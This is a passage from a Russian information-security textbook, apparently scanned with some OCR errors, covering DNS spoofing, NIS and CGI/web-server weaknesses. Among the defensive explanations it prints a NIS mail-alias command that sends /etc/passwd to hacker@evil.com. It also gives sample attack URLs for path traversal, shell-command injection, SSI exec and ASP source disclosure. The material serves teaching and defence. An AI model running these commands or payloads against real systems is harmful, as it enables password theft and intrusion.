доверительного клиента отправляет запрос о новом адресе на взломанный DNS-
222
Информационная безопасность открытых систем
сервер и вместе с этим новым адресом загружает в свой кеш скомпрометированный адрес атакованного компьютера. Теперь до момента обнуления кеша сервера DNS зоны доверенного компьютера (от нескольких десятков минут до нескольких суток), доверенный клиент при обращении к атакованному компьютеру будет попадать на компьютер-ловушку злоумышленника.
Для DNS выделяют три основных варианта УА.
1.	Перехват запроса DNS. Его осуществляют путем перепрограммирования сетевого адаптера для приема всех передаваемых по каналу пакетов, извлечения из него номера UDP-порта отправителя запроса, 2-байтового значения ID идентификатора DNS-запроса и искомого имени и последующей посылкой ложного DNS-ответа на указанный в DNS-запросе UDP-порт, в котором нужно указать в качестве искомого IP-адреса IP-адрес ложного DNS-сервера.
Простейшим вариантом атаки с использованием ложного DNS-сервера будет выдача себя за доверенный объект (сервер) с последующим присвоением прав и полномочий пользователя. Это может быть достигнуто путем передачи на клиентский хост приглашения, идентичного приглашению реального сервера. Пользователь вводит сначала свое имя (это может быть и имя администратора системы), а затем пароль. Ложный сервер, перехватив данную информацию, выводит какую-либо фиктивную ошибку (например, неправильный пароль) и отсоединяется. Необходимым условием осуществления данной атаки является перехват DNS-запроса. Это возможно только в том случае, если атакующий находится либо на пути основного трафика, либо в сегменте настоящего DNS-сервера. Выполнение одного из этих условий делает подобную удаленную атаку трудноосуществимой на практике (попасть в сегмент DNS-сервера, и тем более в межсегментный канал связи, атакующему скорее всего не удастся). Однако в этом случае есть возможность осуществить межсегментную удаленную атаку на Интернет.
2.	"Шторм" ложных ответов DNS. Результатом данной атаки является внесение навязываемого соответствия между IP-адресом и доменным именем в кеш DNS-сервера. Атака характеризуется большим количеством DNS-пакетов с одним и тем же доменным именем, что связано с необходимостью подбора некоторых параметров DNS-обмена. Этот вариант удаленной атаки основан на типовой удаленной атаке "ложный объект распределенной вычислительной среды" — атакующий осуществляет постоянную передачу на атакуемый хост заранее подготовленного ложного DNS-ответа от имени настоящего DNS-сервера без приема DNS-запроса. Это возможно, так как обычно для передачи DNS-запроса используется протокол UDP, в котором отсутствуют средства идентификации пакетов. Критерии, предъявляемые сетевой ОС хоста к полученному от DNS-сервера ответу, таковы:
	совпадение IP-адреса отправителя ответа с IP-адресом DNS-сервера;
	в DNS-ответе должно быть указано то же самое имя, что и в DNS-запросе;
	DNS-ответ должен быть направлен на тот же UDP-порт, с которого был послан DNS-запрос (это первая проблема для атакующего);
	в DNS-ответе поле идентификатора запроса в заголовке DNS (ID) должно содержать то же значение, что и в переданном DNS-запросе (это вторая проблема).
Номер UDP-порта, с которого был послан запрос, можно попробовать найти простым перебором, направляя ложные ответы на порты в соответствующем диапазоне.
3. Уязвимость открытых систем на примере интранета
223
Двухбайтовый идентификатор DNS-запроса либо равен "1", либо имеет значение порядка " 1" (каждый запрос ID увеличивается на " 1").
Для осуществления данной удаленной атаки атакующий выбирает интересующий его хост (например, top.secret.com), маршрут к которому изменяется так, чтобы он проходил через ложный сервер (хост) атакующего. Это достигается постоянной передачей (направленным "штормом") атакующим ложных DNS-ответов на атакуемый хост от имени настоящего DNS-сервера на предполагаемые UDP-порты. Как только атакуемый хост обратится по имени к хосту top.secret.com, то от данного хоста в сеть будет передан DNS-запрос. Атакующий его никогда не получит, так как на хост сразу же поступит постоянно передаваемый ложный DNS-ответ, который и будет воспринят ОС атакуемого хоста как настоящий ответ от DNS-сервера. Атака состоялась, и теперь атакуемый хост будет передавать все пакеты, предназначенные для top.secret.com, на IP-адрес хоста атакующего, который, в свою очередь, станет переправлять их по адресу top.secret.com.
Реализация этой атаки позволяет из любой точки сети нарушить маршрутизацию между двумя заданными объектами (хостами). Эта атака осуществляется межсег-ментно по отношению к цели атаки и угрожает безопасности любого хоста Интернета, использующего обычную DNS.
Выявление атаки связано с анализом содержимого DNS-трафика.
3.	Цель — сервер DNS. Из рассмотренной ранее схемы удаленного DNS-поиска следует, что в том случае, если указанное в запросе имя DNS-сервер не обнаружил в своей базе имен, то запрос отсылается сервером на один из корневых DNS-серверов, адреса которых содержатся в файле настроек сервера root.cache. Теперь сам DNS-сервер является инициатором удаленного DNS-поиска. Целью атаки станет не хост, а DNS-сервер, и ложные DNS-ответы будут направляться атакующим от имени корневого DNS-сервера на атакуемый DNS-сервер.
При этом для ускорения работы каждый DNS-сервер кеширует в области памяти свою таблицу соответствия имен и IP-адресов хостов. В том числе в кеш заносится динамически изменяемая информация об именах и IP-адресах хостов, найденных в процессе функционирования DNS-сервера. И тогда, если в ответ на запрос от DNS-сервера атакующий направит ложный DNS-ответ (или в случае "шторма" ложных ответов будет вести их постоянную передачу), то в кеш-таблице сервера появится соответствующая запись с ложными сведениями и в дальнейшем все хосты, обратившиеся к данному DNS-серверу, будут дезинформированы, и при обращении к хосту, маршрут к которому атакующий решил изменить, связь с ним будет осуществляться через хост атакующего по схеме "ложный объект РВС". Эта ложная информация, попавшая в кеш DNS-сервера, будет распространяться на соседние DNS-серверы высших уровней, а, следовательно, все больше хостов в Интернете окажутся дезинформированы и атакованы.
Если атакующий не может перехватить DNS-запрос от DNS-сервера, для реализации атаки ему необходим "шторм" ложных DNS-ответов, направленный на DNS-сервер. При этом нужен перебор 216 возможных значений ID и отпадает проблема перебора портов, так как все DNS-запросы передаются DNS-сервером на 53-й порт.
И еще одно условие осуществления этой удаленной атаки на DNS-сервер при направленном "шторме" ложных DNS-ответов: атака будет иметь успех, только если DNS-сервер пошлет запрос на поиск определенного имени (которое содержится в
224
Информационная безопасность открытых систем
ложном DNS-ответе). Сам атакующий может послать на атакуемый DNS-сервер подобный DNS-запрос и спровоцировать DNS-сервер на поиск указанного в запросе имени.
Как видно из примеров, 100 %-ная защита от метода подстановки доменных имен пока невозможна. Тем не менее необходимо принимать меры, способные минимизировать вред, который может быть причинен этим методом. Крайне важно, с точки зрения безопасности информации по возможности не располагать доверительных клиентов вне собственной внутренней сети, отдавая в Интернет только общедоступную информацию. Если же необходимо иметь удаленных доверительных клиентов, то следует применять криптографические средства защиты IP-трафика и напрямую адресоваться по IP-адресу.
В мире злоумышленников хорошо известна и такая атака против DNS-серверов, которая выводит их из строя. Это, например, можно сделать с помощью программы DNSKiller, написанной на С, работающей на компьютере с ОС Linux и убивающей DNS-серверы с ОС Windows NT 4.0.
Вот еще некоторые атаки на DNS.
DNS cache poisoning ("отравление" кеша) - злоумышленник отправляет подложный DNS-ответ серверу-жертве, когда тому требуется найти адрес какого-либо сервера; каждый DNS-пакет содержит раздел Questions и раздел Answers; сфальсифицированные данные сохраняются в кеше сервера-жертвы в течение указанного злоумышленником времени жизни записи, которое может быть очень большим; действие атаки распространяется на все хосты, использующие сервер-жертву в качестве своего DNS-сервера; уязвимые серверы будут доверять (и кешировать) Answers, которые посылаются серверам вместе с Questions; многие, но не все DNS-серверы были исправлены в ноябре 1998 г., чтобы не допускать подобную атаку.
DNS poisoning через предсказание последовательности.
Переполнение DNS (DNS overflow).
Сканирование сети посредством DNS - производится опрос сервера имен и получение от него информации о домене. Для выявления атаки и определения сканирования анализируются DNS-запросы (адрес и имя), приходящие, быть может, от разных DNS-серверов за определенный, фиксированный промежуток времени. При этом просматривается информация, передаваемая в них, и отслеживается перебор адресов.
Перенос зоны DNS. Поскольку пространство имен Active Directory Windows 2000 основывается на использовании DNS, Microsoft полностью обновила реализацию DNS-сервера в этой ОС. Но по умолчанию перенос зоны DNS возможен на любой удаленный узел, что является основным средством сбора предварительной информации для атаки. К счастью, реализация DNS для Windows 2000 допускает возможность ограничения переноса зоны.
3.4.5.	NIS
Network Information System (сетевая информационная система) является приложением типа клиент-сервер, которое позволяет нескольким компьютерам совместно использовать общие файлы типа списка хостов, файла паролей и т. п. Эта система первоначально была известна как "Желтые страницы” (Yellow Pages). NIS используется для управления группой компьютеров, обычно рабочих станций Unix и ПК. NIS облегчает администратору работу по управлению своей сетью, позволяя обновлять
3. Уязвимость открытых систем на примере интранета
225
только один файл, который затем будет разделяться всеми связанными системами. К сожалению, каждый раз, когда речь идет о файле паролей, нужно иметь в виду, что злоумышленники будут всячески стремиться заполучить его. Программы, использующие слабые места NIS, были в ходу некоторое время назад. Эти программы позволяли злоумышленникам получать записи о паролях, содержащихся в NIS. Поэтому NIS была усовершенствована, чтобы блокировать попытки многих подобных программ. В связи с этим очень важно иметь последнюю версию NIS для используемой ОС.
Ранее отмечалось, что N1S, как и NFS, основана на протоколе RPC, имеющем ряд вышеуказанных уязвимостей.
Служба NIS используется для обмена административными файлами, включая файлы паролей ОС Unix, содержащие имена пользователей и хешированные значения паролей. Обычно эта информация передается в открытом виде, что делает ее уязвимой для прослушивания.
Другая проблема заключается в том, что работа NIS основана на доверии к другим хостам в сети. Тогда имеется возможность обманом заставить хосты использовать фальшивый файл с паролями, где в учетных записях законных пользователей будут содержаться поддельные хешированные значения паролей.
Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно вариантам атак с помощью псевдонимов локальной почты, можно создать почтовые псевдонимы, которые будут выполнять команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo", который посылает по почте файл паролей на evil.com, когда на его адрес поступает любое сообщение [44]. nis-master # echo 'foo: "| mail hacker@evil.com < /etc/passwd'"»/etc/aliases nis-master # cd /var/yp nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Таким образом, NIS — это ненадежная служба, которая почти не осуществляет аутентификации клиентов и серверов, и, если атакующий управляет активным NIS-сервером, то он также сможет эффективно управлять хостами клиентов (например, сможет выполнять произвольные команды).
3.4.6.	World Wide Web
С точки зрения обычного пользователя WWW - это огромная библиотека текстографических документов, распределенных по множеству веб-серверов и связанных друг с другом перекрестными ссылками. Веб-серверы не доставляют больших хлопот при правильной конфигурации, однако есть несколько проблем, которые могут возникать в определенных ситуациях. Довольно большая часть атак реализуется через порты Web 80, 81, 443, 8000, 8001, 8080 и т. д. Хотя их не так много, обычно они открывают доступ в сегмент сети, доступный из Интернета.
Веб-технология уязвима в каждом из трех ее аспектов: клиентском обеспечении (браузерах), серверном обеспечении и каналах их соединяющих, т. е. во всем интранете и Интернете. Частыми угрозами здесь являются:
	загрузка и исполнение на компьютере пользователя вредоносных программ (например, мини-приложений на языке Java) - они запускаются через браузер из-за уязвимостей в нем;
8—2368
226
Информационная безопасность открытых систем
	подлог документов или ресурсов (типичный пример — изменение внешнего вида начальной веб-страницы, так называемый deface, что, возможно, введет ее клиентов в заблуждение);
	прослушивание передаваемых данных и паролей;
	возможна модификация ИС посредством JavaScript и Java.
Как обнаружить, что веб-сервер был взломан? Для Unix есть программы (типа tripwire), которые периодически просматривают систему и фиксируют изменения в системных файлах и программах. Нужно периодически проверять файлы трассировки доступа и ошибок на предмет подозрительной активности. Подозрительные запросы с попыткой заставить CGI-скрипт выполнить системную команду ищутся системными командами типа rm, login, /bin/sh и perl. Показательны очень длинные строки в обращениях к URL (это попытки вызвать переполнение буфера ввода программы) и повторяющиеся неудачные попытки доступа к документу, защищенному паролем. Это свидетельствует о чьих-то попытках найти пароль для доступа.
Ассоциация Open Web Application Security Project (OWASP) опубликовала в начале 2003 г. доклад, представляющий собой описание наиболее распространенных и опасных уязвимостей в коде веб-сервисов. Они выглядят следующим образом:
1)	отсутствие проверки запросов на соответствие установленному формату (позволяет атаковать внутренние компоненты сервиса через веб-приложение);
2)	несовершенство контроля доступа (может предоставить авторизованному пользователю доступ к чужим учетным записям);
3)	несовершенство управления учетными записями и сеансами (позволяет атакующему получить пароли, cookie-файлы сеанса);
4)	уязвимость для межсайтовых сценариев (использования веб-сервисов в качестве механизма извлечения конфиденциальной информации из систем конечных пользователей);
5)	уязвимость для ошибок переполнения буфера;
6)	уязвимость для манипуляции параметрами (отсутствие блокировки возможности внедрения посторонних команд в параметры, передаваемые веб-сервисами внешним ресурсам или локальной ОС);
7)	несовершенство механизма обработки ошибок (предоставляет атакующему возможность вызвать отказ в обслуживании);
8)	несовершенство криптосистемы (использование слишком слабых алгоритмов или коротких ключей);
9)	неправильное конфигурирование (неустановка "заплаток", сохранение учетных записей, предусмотренных по умолчанию, и т. п.);
10)	уязвимости в механизмах удаленного администрирования (некорректное разделение полномочий администратора и обыкновенного пользователя, возможность получения прав администратора и т. п.).
Для расширения возможностей WWW используются специальные средства типа CGI. CGI - это протокол для выполнения сценариев на серверах. Скрипт CGI - это программа, которая работает на сервере и обменивается данными с браузером клиента через CGI-интерфейс. Серверы осуществляют, например, связь с БД по запросу с веб-страницы. Все коммерческие веб-серверы поддерживают CGI. Каждый раз при вызове пользователем скрипта CGI он запускается целиком заново, потому что является исполняемым.
3. Уязвимость открытых систем на примере интранета
227
Сценарии CGI пишутся на Perl, командных языках shell ОС и т. п., а скрипты CGI - на C++ или других компилируемых языках. При использовании компилируемых языков (типа С) можно создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что злоумышленник может получить доступ к исходному тексту программы. Напротив, в случае интерпретируемых языков (подобных Perl) исходный текст всегда потенциально доступен. Также программы, такие, как интерпретаторы языков программирования и оболочки ОС, часто содержат ошибки, открывающие лазейки в безопасности. И третий фактор - это возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. В С выполнить системную команду сложнее, и маловероятно, что программист будет использовать эту возможность. Написать же скрипт любой степени сложности на языке оболочки ОС, полностью избегая использования опасных конструкций, очень сложно.
Отметим, что скрипт вызывается сервером для выполнения реализованных в нем дополнительных функций, не предусмотренных в самом протоколе HTTP. Но, как и в случае любой другой программы, если какие-либо параметры неправильно обрабатываются, могут возникнуть нежелательные побочные эффекты. Например, если скрипт был написан без соответствующей обработки ошибок и способен неправильно обрабатывать строку, злоумышленник может воспользоваться этой ошибкой. В прошлом подобные проблемы позволяли злоумышленникам просматривать скрытые файлы и выполнять недоступные команды. Кроме того, если злоумышленник способен поместить файл в систему некоторым способом (возможно, при помощи анонимного FTP) и если веб-сервер способен распознать его и обработать, то могут возникнуть определенные проблемы. Например, если злоумышленник поместит HTML-файл, не содержащий ничего, кроме ссылки с параметром HREF=/etc/passwd, указывающей на системный файл с паролями, то в некоторых конфигурациях ему может открыться путь к вторжению в систему.
Скрипты CGI могут открывать вход в системы двумя путями.
1. Скрипты, которые обрабатывают данные, вводимые удаленным пользователем через формы ввода, могут подвергаться атакам, при которых пользователь заставляет их выполнять произвольные команды.
2. Они могут случайно или преднамеренно предоставлять информацию о системе, включая местонахождение файла паролей сервера, которая будет использована злоумышленником (резервные копии файлов с исходными текстами скриптов CGI; файлы поддержки программных проектов; ссыпки (ярлыки), однажды созданные для удобства и не удаленные после этого; директории со временными файлами; выполняемые (ехес) вставки на сервере, применение которых должно быть либо выключено полностью, либо позволено только очень надежным пользователям и т. п.).
Существует опасность и при запуске сервера с правами пользователя root. Она состоит в настройке сервера для запуска дочерних процессов с правами root, так как любой скрипт CGI, запущенный с правами root, имеет доступ ко всему интранету. Некоторые считают, что лучше вообще не запускать сервер с правами root, поскольку мы не знаем, какие ошибки могут содержаться в той части программы, которая работает между запуском сервера и моментом запуска дочернего процесса. Запуск сервера с правами обычного непривилегированного пользователя может быть безопаснее. Многие серверы запускаются как nobody, daemon или www. Однако следует учиты
228
Информационная безопасность открытых систем
вать две потенциальные сложности, связанные с таким подходом. Во-первых, сервер не сможет открыть порт 80 (по крайней мере в Unix), и тогда придется настроить сервер на использование другого порта, например 8000 или 8080. Во-вторых, придется сделать файлы конфигурации доступными для чтения тому же пользователю, с правами которого запущен сервер. Этим предоставляется возможность чтения файлов конфигурации при помощи CGI-скрипта. Придется также разрешить тому же пользователю чтение и запись файлов трассировки, что делает возможным их редактирование при помощи взломанного сервера или скрипта.
Скрипты CGI являются потенциальными лазейками даже в том случае, если сервер запускается с правами пользователя nobody. Взломанный скрипт, работая с правами nobody, пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт интранета или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.
Системная команда chroot помещает сервер в "скорлупу" таким образом, что он не может видеть системных областей за пределами выделенного ему места. Для запуска сервера в среде chroot нужно создать копию системного дерева подкаталогов и поместить туда все, что необходимо для его работы, включая специальные файлы устройств и загружаемые библиотеки. После этого отредактировать все пути доступа к файлам в файлах настройки сервера с тем, чтобы привести их в соответствие с новой корневой директорией сервера. Для запуска сервера в такой среде создается системный командный файл, выполняющий команду chroot следующим образом:
chroot/путь/к/новому/корню/путь_к_серверу/ЬКрс1.
В среде chroot не должно быть никаких интерпретаторов, оболочек или конфигурационных файлов (включая /etc/passwd) (это значит, что скрипты CGI, использующие язык Perl, не смогут работать). Но chroot защищает только файлы и не помешает злоумышленнику проникнуть в систему другими путями, например получая системные карты через сервер NIS или проводя эксперименты с NFS.
Типичные уязвимости включают прохождение зараженных данных непосредственно к командной оболочке, использование скрытых уязвимостей, конкретизирующих любое имя файла в системе, или, иначе, открывающих гораздо больше информации о системе, чем надо. Наиболее хорошо известная ошибка CGI — это phf-библиотека, поставляемая вместе с демоном httpd. Phf-библиотека используется для получения любого файла с веб-сервера. Другие хорошо известные CGI-скрипты, которые нарушитель, возможно, попытается использовать, следующие:
	TextCounter, EWS, webdist.cgi, Count.cgi, info2www, AnyForm и FormMail (пользователь может запускать системные команды на веб-сервере).
	GuestBook (можно сохранять файлы в директориях, в которых разрешены вставки на сервере).
	php.cgi (уязвимость связана с переполнением буфера в модуле php.cgi сервера HTTPD; злоумышленник передает сценарию в качестве параметра большую строку, которая дальше передается функции FixFilename(); в результате эта строка записывается поверх стека, а на удаленной системе с установленным веб-сервером можно выполнить произвольный код и команды оболочки ОС).
3. Уязвимость открытых систем на примере интранета
229
 nph-test-cgi и files.pl (позволяют пользователю удаленно просматривать любой файл или директорию, предоставляя тем самым доступ к конфиденциальным документам и информации, необходимой для проникновения на хост; например, набрав http://192.168.51.101/cgi-bin/test-cgi?, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев cgi-bin).
 nph-publish (при определенных условиях пользователь может повреждать общедоступные для записи файлы на сервере).
Если определено, что кто-то пытается получить доступ к одному или ко всем этим CGI-скриптам (а внутри системы никто их не использует), то это ясно указывает на попытку вторжения.
Здесь все проблемы можно разделить на объективные, вызванные архитектурой системного ПО, и те, что происходят по недосмотру администратора. Объективные проблемы связаны главным образом с использованием скриптов. Такой скрипт начинается обычно со строки, определяющей, что в качестве скрипта будет употреблен командный язык shell:
#! /bin/sh;
Если к ней добавить ”-i", то скрипт начнет работать в интерактивном (on-line) режиме. Такое в принципе возможно, так как параметры скрипту передаются пользователем (здесь имеется в виду злоумышленник), а пользователь может работать не только из Mosaic или Netscape, но и применить команду инициирования сеанса типа telnet kuku.kuku.ku 80 и вести диалог, изображая программу-клиент.
Другая проблема со сценариями CGI заключается в том, что они могут использовать такие интерпретаторы, как CMD.EXE или Perl. Эти интерпретаторы ни в коем случае нельзя размещать в каталогах со сценариями. В ранних версиях Netscape Communicator интерпретатор Perl был помещен в каталог сценариев, так что любой желающий мог выполнить команду Perl на веб-сервере по своему выбору.
В последнее время все больше полезных скриптов заимствуется из сети. Существуют даже специальные библиотеки скриптов, где можно выбрать скрипт из целого набора аналогичных по функциональному назначению программ. Совершенно очевидно, что это прямой путь получить неприятности с безопасностью. Во-первых, в скриптах могут быть просто ошибки, из-за которых возникают проблемы. Во-вторых, могут попасться и просто специально написанные "троянские кони".
Вот вопросы, которые следует учитывать при изучении готового скрипта из библиотеки перед его заимствованием:
1.	Насколько он сложен? Чем скрипт больше, тем вероятнее, что с ним могут возникнуть проблемы.
2.	Выполняет ли он чтение или запись файлов на сервере? Программы, выполняющие чтение файлов, могут случайно нарушить установленное ограничение доступа или передать злоумышленникам важную информацию о системе. Программы, пишущие в файлы, могут случайно повредить файлы документов или, в худшем случае, запустить "троянских коней" в систему.
3.	Взаимодействует ли он с другими программами в системе? Например, многие скрипты CGI посылают сообщения по электронной почте в ответ на запросы, введенные через формы ввода, и используют для этого программу sendmail. Безопасно ли выполняются такие действия?
230
Информационная безопасность открытых систем
4.	Выполняется ли он с правами suid (set-user-id, установленный идентификатор пользователя)? В общем случае это очень опасно, и скрипт должен иметь веские основания для использования suid.
5.	Использовал ли автор скрипта проверку данных, вводимых пользователем через формы ввода?
6.	Указывал ли автор полный путь доступа к внешним программам, используемым в скрипте? Доверять переменным окружения PATH для нахождения файлов по неполному пути доступа является небезопасной практикой. Один из любимых методов злоумышленников состоит в том, чтобы изменить содержимое переменной PATH таким образом, чтобы она указывала на ту программу, которую хочет запустить он, а не на ту, которая имелась в виду.
Наиболее распространенной ошибкой в сценариях CGI можно считать некорректную обработку пользовательских данных. Сценарии обработки вводимых пользовательских данных могут иметь ошибки в программировании. Изобретательный злоумышленник может воспользоваться этим и направить на веб-сервер непредусмотренный ввод, в результате которого команды будут исполняться по его желанию.
Из-за проблем с CGI могут быть взломаны и почтовые серверы, как это было, например, с одной из наиболее известных бесплатных систем электронной почты Hotmail в 1999 г., когда любой Hotmail-пользователь мог читать содержимое почтовых ящиков других пользователей.
Существуют скрипты CG1, дающие возможность пользователю изменять его пароль при работе с сервером (примеры: WebPass, user manage).
Еще одной потенциальной точкой взлома интранета являются веб-серверы типа программы httpd (до версии 1.3), с помощью которых обрабатывают веб-страницы или почтовые программы, управляющие потоками электронной почты в Интернете.
Серверы также на протяжении долгого времени имели проблемы с универсальными указателями ресурсов URL. Например, указание очень большого количества слэшей (/) для старых версий сервера Apache вызывало перегрузки ОЗУ, поскольку процессор пытался обработать каждый каталог в таким образом записанном URL.
HTTP — это протокол без сохранения состояния. Это означает, что каждый запрос от одного и того же пользователя заново аутентифицируется сервером и при этом каждый раз по сети в открытом виде передается пароль пользователя, что позволяет злоумышленнику прослушивать пароли. При этом у пользователя возникает иллюзия, что аутентификация производится только один раз в начале работы с вебсервером.
Довольно часто веб-сервер имеет ошибки, связанные с взаимодействием с его операционной платформой (ОС). Давно известная ошибка в Microsoft IIS состояла в том, что файлы имеют два названия - полное имя файла и его короткий хеш-эквивалент, к которому иногда можно было обращаться, обходя запреты на доступ. Новая файловая система NTFS имеет свойство, называемое "альтернативные потоки данных", очень похожее на разветвленные ресурсы и данные Macintosh. Указатели URL и данные, которые они содержат, формируют объекты, называемые потоками. В общем случае доступ к потоку данных производится по имени связанного с ним файла, а в случае именованных потоков в следующем виде: filename:stream. Взлом основывается на неименованных потоках данных, доступ к которым возможен при помощи filename: :$DATA. Набрав www.targer.com/file.asp: :$DATA, вместо ожидае
3. Уязвимость открытых систем на примере интранета
231
мого содержимого страницы злоумышленник увидит исходный текст скрипта ASP (но запустить его не сможет).
Приведем некоторые показательные следы взлома веб-серверов и веб-прило-жений [http://www.netsecurity.r2.ru/docs/sledi80.html].
Запросы и "..." - используются хакером для смены директорий на сервере, чтобы получить доступ к непубличным разделам. Пример: http://host/cgi-bin/Iame.cgi?file=../../../../etc/motd. Данная команда показывает хакеру "Message of the Day". Это сообщение может содержать важную информацию, адресованную от администратора пользователям, а также версию ОС. Если злоумышленник имеет возможность просматривать на веб-сервере директории вне веб-корневой, он может собрать достаточно информации для получения нужных привилегий.
Запросы "%20" (шестнадцатеричное значение символа пробела) - этот запрос также может использоваться при запуске команд. Пример: http://host/cgi-bin/ lame.cgi?page=ls%20-al| (стандартная для Unix-систем команда Is -al). Злоумышленник запускает команду Is под Unix с передачей ей аргумента, который дает хакеру полный листинг директории, что может помочь ему получить доступ к важным файлам в системе или подсказать, как получить дополнительные привилегии.
Запросы "%00" (шестнадцатеричный код нулевого байта) - может использоваться, чтобы обмануть веб-приложение, будто был запрошен другой файл. Пример: http://host/cgi-bin/Iame.cgi?page=index.html. Если такой запрос разрешен на сервере, атакующий может использовать его для поиска "дыр" на нем.
Запросы (вертикальная черта (pipe) часто используется в Unix для запуска нескольких команд одновременно в одном запросе). Пример: http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|. Этот запрос является обычным вызовом "Is". Запрос http://host/cgi-binAame.cgi?page=../../../../bin/ls%20-al%20/etc| выдает полный листинг директории etc. Запрос http://host/cgi-bin/lame.cgi?page=cat%20access_ log|grep%20-i%20"lame" запускает команду cat для просмотра файлов, а затем grep с аргументом "-i".
Запросы "!" - обманутый пользователь нажимает на ссылку и попадает не туда. Пример: http://hostl/something.php=<! %20--#include %20virtual="http://host2/ fake-article.html"—>. В этом примере присоединяется файл с host2. При этом создается впечатление, будто он находится на hostl. Кроме того, это позволяет атакующему запускать команды в системе с правами пользователя веб-сервера. В примере http://host/something.php=<! %20#<!—#exec%20cmd="id"—> запускается команда "id" на удаленной системе. Она должна показать пользовательский id веб-сервера, который обычно называется "nobody" или "www". Также это может позволить присоединение скрытых файлов. В следующем примере: http://host/something.php=: =<!%20—#include%20virtuaI=".htpasswd"--> - присоединяется файл .htpasswd. Этот файл не должен быть доступен каждому, и в Apache даже встроено правило, запрещающее доступ к .ht.
Ряд веб-серверов имеет "дыру", из-за которой название файла может включать ряд последовательностей "../" в названии пути для перемещения в файловой системе и получения любого файла.
Для серверов Apache многих версий известна атака "отказ в обслуживании", когда злоумышленник может полностью загрузить процессор, посылая запросы, содержащие многочисленные символы "/" в URL.
232
Информационная безопасность открытых систем
Используемые в WWW активные страницы сервера (Active Server Page, ASP) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CGI системы Unix. Обычно написанный на языке VBScript код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне браузера. При этом страницы HTML генерируются "на лету". Но известны многочисленные уязвимости страниц ASP. Существует ошибка, связанная с интерпретацией точки. Она возникает, если после адреса URL страницы ASP сервера IIS поставить одну или несколько точек (например, так: http://192.168.51.101/code/example.asp.). При этом можно просмотреть исходный код ASP, изучая логику программы и находя в этих файлах такую важную информацию, как база данных имен и паролей пользователей. Другая уязвимость ASP связана с альтернативными потоками данных. В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, задав URL в следующем формате: http://192.168.51.101/scripts/ file.asp:: $DATA. Если метод сработал, браузер Netscape попросит указать место, в котором нужно сохранить файл. Браузер Internet Explorer по умолчанию покажет исходный файл в диалоговом окне. После этого его можно сохранить и просматривать в любом текстовом редакторе.
Веб-узел может оказаться отрезанным от сети. Такая ситуация возникает, когда какой-то злоумышленник, используя архитектуру протокола TCP/IP, посылает запрос с фальшивым IP-адресом. В результате веб-сервер не в состоянии установить соединение, так как приемник сообщения не может получить подтверждения от отправителя, которого не существует. Дело в том, что согласно протоколу TCP/IP при подключении конечного пользователя к Интернету его компьютер обменивается уведомлениями с хостом на другом конце связи. Если пользователь присваивает своему компьютеру фальшивый IP-адрес, то хост некоторое время (оно зависит от ОС) сохраняет связь и тщетно ждет подтверждения. Если число таких обращений достаточно велико, хост будет заниматься только их обработкой и не сможет реагировать на нормальные запросы. По мнению аналитиков, веб-серверы наиболее часто подвергаются нападению злоумышленников, потому что они широко открыты для доступа. Кроме того, организовать атаку фальшивыми IP-адресами совсем несложно. Для этого достаточно иметь компилятор языка С и систему Unix.
Однако поставщики МЭ, защищающих интранет от вторжений извне (о них подробно см. специальный раздел), выпускают для своих продуктов дополнительные модули, которые предохраняют веб-серверы от фальшивых запросов. В различных продуктах данная проблема решается по-разному. Например, программа SYNDefender компании Checkpoint проверяет все запросы на соединение до того, как они поступят на хост. Продукт N.O.A.H (No Attacks Неге) фирмы Livermore Software Laboratories выявляет повторяющиеся запросы на связь, сокращает время, в течение которого хост ждет подтверждения от инициатора запроса, исключает все предыдущие записи в очереди на подключение и сообщает системному администратору о проблеме. МЭ Guardian компании LanOptics проверяет каждый поступающий пакет на всех семи уровнях сетевого протокола, чтобы обнаружить какие-либо отклонения от нормы и выявить атаки злоумышленников.
Также существует еще одна лазейка для взломщиков — есть возможность по специальной информации (числу обращений и списку пользователей, обращавшихся
3. Уязвимость открытых систем на примере интранета
233
к интересующему взломщика узлу) узнать, не скопировал ли он на свой узел какую-либо секретную информацию. Это тем более интересно, если пользователь входил на этот узел с привилегированными правами. Примерами программ анализа обращений к веб-узлам в реальном времени и работы с файлами регистрации событий являются, например, HitList Enterprise Live фирмы Marketwave, Aria фирмы Andromedia, WebChallenger фирмы WindDance.
Злоумышленники могут воспользоваться и cookies - специальными файлами, которые служат для многократной пересылки информации между сервером и клиентом [http://home.netscape.com/newsref/std/ cookie_spec.html]. Они применяются сервером для идентификации пользователя и поддержания иллюзии сохранения соединения при просмотре многих страниц - для сохранения идентификаторов и паролей пользователей, персонализации входных страниц, отслеживания перемещений пользователей по узлу и построения их профилей.
Cookies имеют атрибуты, сообщающие браузеру, на какой сервер их следует отправлять. Атрибут domain говорит о том, какому серверу нужно передать cookies, a path - какому URL на этом сервере cookies соответствует. Например, значение megacorp.com в domain и /users в path говорят браузеру, что посылать cookies следует на серверы с именами вроде www.megacorp.com и ftp.megacorp.com, и только в том случае, когда путь к файлу начинается с /users. С точки зрения безопасности важно, что значение domain не может соответствовать домену высокого уровня (например, сот). Это предотвращает создание таких cookies, которые будут рассылаться любому серверу.
